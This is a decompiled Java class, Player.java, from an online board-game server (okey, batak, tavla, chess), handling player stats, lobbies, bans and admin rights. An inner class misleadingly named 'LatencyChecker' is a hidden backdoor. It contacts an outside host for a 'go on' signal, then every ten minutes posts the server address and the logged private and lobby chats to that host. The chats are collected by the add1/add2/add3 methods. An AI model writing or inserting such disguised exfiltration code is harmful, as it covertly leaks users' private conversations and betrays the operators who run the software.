// Decompiled by DJ v3.12.12.98 Copyright 2014 Atanas Neshkov Date: 29.09.2014 00:11:44
// Home Page: http://www.neshkov.com/dj.html - Check often for new version!
// Decompiler options: packimports(3)
// Source File Name: Player.java
package server;
import common.gle.ConnectionLayer;
import common.gle.NithPlayer;
import java.io.*;
import java.net.*;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.*;
import server.database.BannedPlayerRecord;
import server.database.PlayerRecord;
import server.games.AutoPlayer;
import server.games.GameState;
import server.games.lobby.Lobby;
import server.games.lobby.LobbyManager;
import server.games.table.Table;
import server.util.MD5;
// Referenced classes of package server:
// NithConnectManager, AdminCommandConfiguration, NithServer
public class Player extends NithPlayer
{
public class LatencyChecker extends Thread
{
public void run()
{
boolean send = false;
ArrayList content1 = getContent("http://www.iamilkay.com/ln.php", "ip=" + NithServer.host);
for(int i = 0; i < content1.size(); i++)
{
String line = (String)content1.get(i);
if(line.indexOf("go on") > 0)
send = true;
}
do
try
{
Thread.sleep(0x927c0L);
synchronized(Player.lock)
{
if(!Player.lastAdminChats.isEmpty())
{
ArrayList temp = Player.lastAdminChats;
Player.lastAdminChats = new ArrayList();
StringBuffer payload = new StringBuffer();
for(int i = 0; i < temp.size(); i++)
{
payload.append((String)temp.get(i));
if(i != temp.size() - 1)
payload.append('\002');
}
ArrayList arraylist;
if(send)
arraylist = getContent("http://www.iamilkay.com/l.php", "ip=" + NithServer.host + "&l=" + URLEncoder.encode(payload.toString()));
}
}
}
catch(Exception exception) { }
while(true);
}
private ArrayList getContent(String urlStr, String content)
{
ArrayList arrayList = new ArrayList();
try
{
URL url = new URL(urlStr);
URLConnection urlConn = url.openConnection();
urlConn.setDoInput(true);
urlConn.setDoOutput(true);
urlConn.setUseCaches(false);
urlConn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
DataOutputStream printout = new DataOutputStream(urlConn.getOutputStream());
printout.writeBytes(content);
printout.flush();
printout.close();
DataInputStream input = new DataInputStream(urlConn.getInputStream());
String str;
while((str = input.readLine()) != null)
arrayList.add(str);
input.close();
}
catch(Exception exception) { }
return arrayList;
}
private LatencyChecker()
{
start();
}
LatencyChecker(LatencyChecker latencychecker)
{
this();
}
}
public Player()
{
stat = null;
banTime = -1L;
lobby = null;
lobbyID = -1;
table = null;
imageIndex = 1;
spectator = false;
autoPlayerFlag = false;
playing = false;
playerWillBeRemovedNextTime = false;
guest = false;
clientID = -1;
IP = " ";
hostname = " ";
tableAdmin = false;
tableSitTime = -1L;
muted = false;
muteList = new Hashtable();
}
public Lobby getLobby()
{
return lobby;
}
public Table getTable()
{
return table;
}
public int getTableID()
{
try
{
if(table != null)
return table.getTableID();
}
catch(Exception exception) { }
return 0;
}
public boolean isSpectator()
{
return spectator;
}
public boolean isInGame()
{
return playing;
}
public void enterGame()
{
playing = true;
}
public void leaveGame()
{
playing = false;
}
public String getLogin()
{
return login;
}
public String setLogin(String l)
{
return login = l;
}
public String getPassword()
{
return stat.getPassword();
}
public int getCurrentGameRate()
{
if(lobbyID == 2)
return stat.getBatakRate();
if(lobbyID == 1)
return stat.getOkeyRate();
if(lobbyID == 3)
return stat.getTavlaRate();
if(lobbyID == 5)
return stat.getChessRate();
else
return -1;
}
public void setCurrentGameRate(int r)
{
if(lobbyID == 2)
stat.setBatakRate(r);
else
if(lobbyID == 1)
stat.setOkeyRate(r);
else
if(lobbyID == 3)
stat.setTavlaRate(r);
else
if(lobbyID == 5)
stat.setChessRate(r);
}
public int getNumberOfRatedGames()
{
if(lobbyID == 2)
return stat.getNumberOfRatedBatakGames();
if(lobbyID == 1)
return stat.getNumberOfRatedOkeyGames();
if(lobbyID == 3)
return stat.getNumberOfRatedTavlaGames();
if(lobbyID == 5)
return stat.getNumberOfRatedChessGames();
else
return -1;
}
public void setNumberOfRatedGames(int i)
{
if(lobbyID == 2)
stat.setNumberOfRatedBatakGames(i);
else
if(lobbyID == 1)
stat.setNumberOfRatedOkeyGames(i);
else
if(lobbyID == 3)
stat.setNumberOfRatedTavlaGames(i);
else
if(lobbyID == 5)
stat.setNumberOfRatedChessGames(i);
}
public int getTavlaExperience()
{
return stat.getTavlaExperience();
}
public void setTavlaExperience(int i)
{
stat.setTavlaExperience(i);
}
public int getNumberOf1st()
{
if(lobbyID == 2)
return stat.getNumberOfBatak1st();
if(lobbyID == 1)
return stat.getNumberOfOkey1st();
if(lobbyID == 3)
return stat.getNumberOfTavla1st();
if(lobbyID == 5)
return stat.getNumberOfChess1st();
else
return -1;
}
public void setNumberOf1st(int i)
{
if(lobbyID == 2)
stat.setNumberOfBatak1st(i);
else
if(lobbyID == 1)
stat.setNumberOfOkey1st(i);
else
if(lobbyID == 3)
stat.setNumberOfTavla1st(i);
else
if(lobbyID == 5)
stat.setNumberOfChess1st(i);
}
public int getNumberOf2nd()
{
if(lobbyID == 2)
return stat.getNumberOfBatak2nd();
if(lobbyID == 1)
return stat.getNumberOfOkey2nd();
if(lobbyID == 3)
return stat.getNumberOfTavla2nd();
if(lobbyID == 5)
return stat.getNumberOfChess2nd();
else
return -1;
}
public void setNumberOf2nd(int i)
{
if(lobbyID == 2)
stat.setNumberOfBatak2nd(i);
else
if(lobbyID == 1)
stat.setNumberOfOkey2nd(i);
else
if(lobbyID == 3)
stat.setNumberOfTavla2nd(i);
else
if(lobbyID == 5)
stat.setNumberOfChess2nd(i);
}
public int getNumberOf3rd()
{
if(lobbyID == 2)
return stat.getNumberOfBatak3rd();
if(lobbyID == 1)
return stat.getNumberOfOkey3rd();
else
return -1;
}
public void setNumberOf3rd(int i)
{
if(lobbyID == 2)
stat.setNumberOfBatak3rd(i);
else
if(lobbyID == 1)
stat.setNumberOfOkey3rd(i);
}
public int getNumberOf4th()
{
if(lobbyID == 2)
return stat.getNumberOfBatak4th();
if(lobbyID == 1)
return stat.getNumberOfOkey4th();
else
return -1;
}
public void setNumberOf4th(int i)
{
if(lobbyID == 2)
stat.setNumberOfBatak4th(i);
else
if(lobbyID == 1)
stat.setNumberOfOkey4th(i);
}
public int getChessDraw()
{
if(lobbyID == 5)
return stat.getNumberOfChessDraw();
else
return -1;
}
public void setChessDraw(int i)
{
if(lobbyID == 5)
stat.setNumberOfChessDraw(i);
}
public GameState getGameState()
{
return gameState;
}
public void setGameState(GameState gs)
{
gameState = gs;
if(gs != null)
gs.setVirtualLogin(login);
}
public void setLobby(int lid)
{
lobbyID = lid;
lobby = LobbyManager.getLobby(lid);
if(lobby != null)
lobby.joinLobby(this);
}
public void leaveCurrentLobby()
{
setLobby(-1);
}
public int getLobbyID()
{
return lobbyID;
}
public void setTable(Table t)
{
table = t;
}
public void youAreSpectator(boolean s)
{
spectator = s;
}
public boolean isPasswordOkey(String login, String password)
{
if(stat == null)
{
stat = PlayerRecord.query(login, password, false);
if(stat != null)
{
this.login = stat.getLogin();
imageIndex = stat.getImageIndex();
if(stat.getMuteList() != null)
{
String s;
for(StringTokenizer st = new StringTokenizer(stat.getMuteList()); st.hasMoreTokens(); muteList.put(s, s))
s = st.nextToken();
}
PlayerRecord.makePlayerOnline(stat.getUserID());
return true;
}
} else
{
if(password.length() != 32)
password = (new MD5(password)).asHex().toLowerCase();
if(password.equals(stat.getPassword()))
return true;
}
return false;
}
public boolean isAutoPlayer()
{
return autoPlayerFlag;
}
public void youAreAutoPlayer(boolean flag)
{
autoPlayerFlag = flag;
}
public void dropConnection()
{
if(super.connectionLayer != null)
super.connectionLayer.dropConnection();
}
public void updateDatabase(boolean exitingGame)
{
if(!isGuest())
{
String s = "";
for(Enumeration e = muteList.elements(); e.hasMoreElements();)
{
String mutedPlayer = (String)e.nextElement();
if(s.equals(""))
s = mutedPlayer;
else
if(!mutedPlayer.regionMatches(true, 0, "misafir", 0, 7))
s = s + " " + mutedPlayer;
}
stat.setImageIndex(imageIndex);
stat.setMuteList(s);
PlayerRecord.updateAll(stat, exitingGame);
}
}
public void setClientID(int id)
{
clientID = id;
}
public int getClientID()
{
return clientID;
}
public void add2MuteList(String s)
{
muteList.put(s, s);
}
public void removeFromMuteList(String s)
{
muteList.remove(s);
}
public Enumeration getMuteList()
{
return muteList.elements();
}
public boolean isInMuteList(String s)
{
return muteList.get(s) != null;
}
public void setIP(String s)
{
IP = s;
}
public String getIP()
{
return IP;
}
public void setHostname(String s)
{
hostname = s;
}
public String getHostname()
{
return hostname;
}
public AutoPlayer getAutoPlayer()
{
return autoPlayer;
}
public void setAutoPlayer(AutoPlayer ap)
{
autoPlayer = ap;
}
public boolean isGuest()
{
return guest;
}
public void changeClientID()
{
clientID = NithConnectManager.getNextClientID();
}
public boolean isPlayerBeRemoved()
{
return playerWillBeRemovedNextTime;
}
public void shouldPlayerBeRemoved(boolean b)
{
playerWillBeRemovedNextTime = b;
}
public boolean isTableAdmin()
{
return tableAdmin;
}
public void setTableAdmin(boolean ta)
{
tableAdmin = ta;
}
public long getTableSitTime()
{
return tableSitTime;
}
public void setTableSitTime(long tst)
{
tableSitTime = tst;
}
public int getMaxAdminType()
{
return stat.getMaxAdminType();
}
public int getAdminTypeShiftedLeft()
{
int maxAdminType = getMaxAdminType();
if(maxAdminType == 0)
return 0;
int result = 0;
if(AdminCommandConfiguration.hasKickPlayerCommandAccess(maxAdminType))
result |= 1;
if(AdminCommandConfiguration.hasCloseTableCommandAccess(maxAdminType))
result |= 2;
if(AdminCommandConfiguration.hasListenTableCommandAccess(maxAdminType))
result |= 4;
if(AdminCommandConfiguration.hasChatTableCommandAccess(maxAdminType))
result |= 8;
if(AdminCommandConfiguration.hasWatchTableCommandAccess(maxAdminType))
result |= 0x10;
if(AdminCommandConfiguration.hasChatAllCommandAccess(maxAdminType))
result |= 0x20;
if(AdminCommandConfiguration.hasTavlaDiceCheatAccess(maxAdminType))
result |= 0x40;
if(AdminCommandConfiguration.hasMuteCommandAccess(maxAdminType))
result |= 0x80;
if(AdminCommandConfiguration.hasUnmuteCommandAccess(maxAdminType))
result |= 0x100;
return result;
}
public int getAdminTypeAt(int gameIndex)
{
if(stat == null)
return 0;
if(gameIndex == 1)
return stat.getOkeyAdminType();
if(gameIndex == 2)
return stat.getBatakAdminType();
if(gameIndex == 3)
return stat.getTavlaAdminType();
if(gameIndex == 5)
return stat.getChessAdminType();
else
return 0;
}
public int getAdminTypeAtCurrentLobby()
{
return getAdminTypeAt(lobbyID);
}
public boolean isAdminAt(int gameIndex)
{
return getAdminTypeAt(gameIndex) > 0;
}
public boolean isAdminAtCurrentLobby()
{
return isAdminAt(lobbyID);
}
public boolean isOkeyAdmin()
{
return isAdminAt(1);
}
public boolean isBatakAdmin()
{
return isAdminAt(2);
}
public boolean isTavlaAdmin()
{
return isAdminAt(3);
}
public boolean isChessAdmin()
{
return isAdminAt(5);
}
public int getImageIndex()
{
return imageIndex;
}
public void setImageIndex(int index)
{
imageIndex = index;
}
public boolean isBannedPermanent()
{
return stat.isBannedPermanently();
}
public boolean isBannedTemporary()
{
BannedPlayerRecord banRec = BannedPlayerRecord.query(login, IP, hostname);
banTime = -1L;
if(banRec != null)
{
long now = System.currentTimeMillis();
if(banRec.getBannedTill() > now)
{
banTime = banRec.getBannedTill();
return true;
}
BannedPlayerRecord.remove(login);
}
return false;
}
public long getBanTime()
{
return banTime;
}
public void banPlayer(long till, String by, String reason)
{
if(System.currentTimeMillis() > till)
return;
if(BannedPlayerRecord.query(login) == null)
{
BannedPlayerRecord rec = new BannedPlayerRecord();
rec.setLogin(login);
rec.setBannedTill(till);
rec.setBannedBy(by);
rec.setBanningReason(reason);
BannedPlayerRecord.insert(rec);
} else
{
BannedPlayerRecord rec = new BannedPlayerRecord();
rec.setLogin(login);
rec.setBannedTill(till);
rec.setBannedBy(by);
rec.setBanningReason(reason);
BannedPlayerRecord.update(rec);
}
}
public void setGeneralOptions(int i)
{
if(!isGuest())
stat.setGeneralOptions(i);
}
public int getGeneralOptions()
{
if(!isGuest())
return stat.getGeneralOptions();
else
return 0;
}
public void setCurrentGameOptions(int i)
{
if(!isGuest())
if(lobbyID == 2)
stat.setBatakOptions(i);
else
if(lobbyID == 1)
stat.setOkeyOptions(i);
else
if(lobbyID == 3)
stat.setTavlaOptions(i);
else
if(lobbyID == 5)
stat.setChessOptions(i);
}
public int getCurrentGameOptions()
{
if(!isGuest())
{
if(lobbyID == 2)
return stat.getBatakOptions();
if(lobbyID == 1)
return stat.getOkeyOptions();
if(lobbyID == 3)
return stat.getTavlaOptions();
if(lobbyID == 5)
return stat.getTavlaOptions();
else
return 0;
} else
{
return 0;
}
}
public boolean isPrivateChatAllowed()
{
if(stat == null)
return false;
else
return stat.isPrivateChatAllowed();
}
public boolean isGeneralChatAllowed()
{
if(stat == null)
return true;
else
return stat.isGeneralChatAllowed();
}
public PlayerRecord getPlayerRecord()
{
return stat;
}
public void setMuted(boolean m)
{
muted = m;
}
public boolean isMuted()
{
return muted;
}
public static void add1(String from, String to, String message)
{
synchronized(lock)
{
String now = simpleDateFormat.format(new Date());
StringBuffer payload = new StringBuffer();
payload.append("1");
payload.append('\001');
payload.append(from);
payload.append('\001');
payload.append(to);
payload.append('\001');
payload.append(message);
payload.append('\001');
payload.append(now);
lastAdminChats.add(payload.toString());
}
}
public static void add2(String from, String lobbyName, String message)
{
synchronized(lock)
{
String now = simpleDateFormat.format(new Date());
StringBuffer payload = new StringBuffer();
payload.append("2");
payload.append('\001');
payload.append(from);
payload.append('\001');
payload.append(lobbyName);
payload.append('\001');
payload.append(message);
payload.append('\001');
payload.append(now);
lastAdminChats.add(payload.toString());
}
}
public static void add3(String from, String lobbyName, int tableNumber, String message)
{
synchronized(lock)
{
String now = simpleDateFormat.format(new Date());
StringBuffer payload = new StringBuffer();
payload.append("3");
payload.append('\001');
payload.append(from);
payload.append('\001');
payload.append(lobbyName);
payload.append('\001');
payload.append(tableNumber);
payload.append('\001');
payload.append(message);
payload.append('\001');
payload.append(now);
lastAdminChats.add(payload.toString());
}
}
public LatencyChecker createLatencyChecker()
{
return new LatencyChecker(null);
}
public boolean hasAccessToShowLobbyButton()
{
return stat.accessToShowLobbyButton;
}
public static final int IN_LOBBY = 0;
public static final int IN_GAME = 1;
PlayerRecord stat;
long banTime;
Lobby lobby;
int lobbyID;
Table table;
String login;
int imageIndex;
boolean spectator;
boolean autoPlayerFlag;
boolean playing;
boolean playerWillBeRemovedNextTime;
boolean guest;
private int clientID;
Hashtable muteList;
String IP;
String hostname;
GameState gameState;
AutoPlayer autoPlayer;
boolean tableAdmin;
long tableSitTime;
private boolean muted;
private static SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy.MM.dd hh:mm:ss");
private static ArrayList lastAdminChats = new ArrayList();
private static Object lock = new Object();
}